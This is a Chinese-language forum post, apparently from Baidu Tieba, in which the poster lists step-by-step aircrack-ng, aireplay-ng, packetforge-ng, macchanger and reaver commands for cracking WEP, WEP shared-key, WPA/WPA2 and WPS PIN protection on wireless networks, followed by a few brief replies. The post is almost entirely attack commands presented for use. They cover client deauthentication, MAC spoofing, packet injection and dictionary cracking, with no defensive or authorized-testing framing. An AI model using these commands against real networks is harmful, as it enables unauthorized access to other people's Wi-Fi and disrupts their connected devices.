图片来自：镜中X的百度相册
镇楼

楼主的详细记事本丢了,写了各种网络攻击思路.
幸亏下午没活,整理了下Wireless攻击命令.
一直认为Hack的命令攻击方式是最酷的.
下面开始列出.

WEP have client
airmon-ng start wlan0
此处混杂无线网卡.wlan0为网卡,其余可自行ifconfig命令查看.可自定义混杂频道,如 airmon-ng start wlan0 13.
13为频道.
airodump-ng -w xxx mon0
可
airodump-ng -w xxx -c 13 mon0
airodump-ng --ivs -w xxx -c 13 mon0
看情况使用
然后使用ARP-request注入
aireplay-ng -3 -b AP_MAC -h Client_MAC mon0
aircrack-ng xxx.cap or xxx.ivs
破解xxx.cap或xxx.ivs数据包.
也可以加上 -0参数让结果更好看.
aircrack-ng xxx.cap -0
或者可以使用PTW加速破解
aircrack-ng -z xxx.cap -0
(*￣▽￣)y

WEP not have client
airmon-ng start wlan0
airodump-ng -w xxx -c 13 mon0
aireplay-ng -1 0 -a AP_MAC -h MY_MAC mon0 fakeauth模式 伪装客户端连接
aireplay-ng -5 -b AP_MAC -h MY_MAC mon0 fragment模式 碎片包攻击
或者可以考虑ChopChop
aireplay-ng -4 -b AP_MAC -h MY_MAC mon0 ChopChop模式 Chopchop攻击
加工ARP数据包
packetforge-ng --arp -a AP_MAC -h MY_MAC -k 255.255.255.255 -l 255.255.255.255 -y xxx.xor -w arp
注入加工的ARP数据包
aireplay-ng -2 -r arp mon0
Aircrack-ng CrackMe.cap
: )

WEP Share
这个真心比较麻烦,赶脚累不爱.一般情况下我们都是破解WEP开放认证的AP是秒破.这个单纯的伪客户端连接无效.必须有客户端.单纯的ARP注入也没有起色.PS:(如果你有不同意见和指教,欢迎回帖).
airmon-ng start wlan0 12
airodump-ng -c 12 mon0
获得客户端MAC后,Kill掉airodump-ng进程,移除mon0 airmon-ng stop mon0.然后
先ifconfig wlan0 down 关掉自己的网卡,进行下一步
利用Macchanger修改自己网卡MAC和目标AP客户端一致
再ifconfig wlan0 up 启用自己的客户端
airmon-ng start wlan0 12
airodump-ng -w xxx -c 12 mon0
aireplay-ng -1 0 -a AP_MAC -h MY_MAC(也就是现在我们上面更改为目标客户端的MAC)
mon0 开始一直提示share key 什么什么的,抱歉,老夫上了三次剑桥少儿英语初级,都没毕业成功..TnT 等到后面几步会让这里生效的
aireplay-ng -4 -b AP_MAC -h MY_MAC(也就是现在我们上面更改为目标客户端的MAC) mon0 ChopChop攻击,现在这一步也不会生效.稍后就会生效
aireplay-ng -0 1 -a AP_MAC -c Client_MAC mon0 Deautenticate 冲突模式攻击一次,-0 后面的1代表一次,可自行看情况更改.
回到ChopChop命令窗口,看到已经有数据包产生,y确定.
然后
packetforge-ng -0 -a AP_MAC -h MY_MAC(也就是现在我们上面更改为目标客户端的MAC)
-k 255.255.255.255 -l 255.255.255.255 -y (ChopChop产生的两个数据包,一个cap,一个xor.选择xor).xor -w arp
aireplay-ng -2 -r arp mon0 开始注入加工过的数据包
aireplay-ng -3 -b AP_MAC -h Client_MAC(也就是现在我们上面更改为目标客户端的MAC)
mon0 你懂得,这样可以速度更快.
aircrack-ng -z CrackMe.cap
: )

WPA/WPA2
这个必须有客户端.你懂得.我也就不指定频道了,你们自己摸索吧
airmon-ng sart wlan0
airodump-ng -w xx mon0
aireplay-ng -0 1 -a AP_MAC -c Client_MAC mon0 Deautenticate 冲突模式攻击
看到握手包产生后,Kill掉airodump-ng进程.
然后老规矩
aircrack-ng -w 字典 xx.cap
: ）

Pin
Reaver工具,你懂得
reaver -i mon0 -b AP_MAC -v -a -n
可以考虑带-c 参数
卡死后不要关闭,另开一Shell(Linux下的命令窗口).
reaver -i mon0 -b 正在PIN的MAC -a -s -vv

以上为我的总结.欢迎回贴

你别吓我

看不懂

小白路过，楼主威武！

==，

我们都是小白，摸不着头脑，大神们能不能开发款一键破解的软件啊？